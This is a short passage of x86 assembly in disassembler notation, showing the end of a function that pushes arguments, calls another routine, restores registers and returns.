lea ecx, [esp + 0x20]
push 0x10
push ecx
mov ecx, esi
mov dword [esi + 0x20], 0
call fcn.10086c90
pop edi
pop esi
pop ebx
add esp, 0xbc
ret 8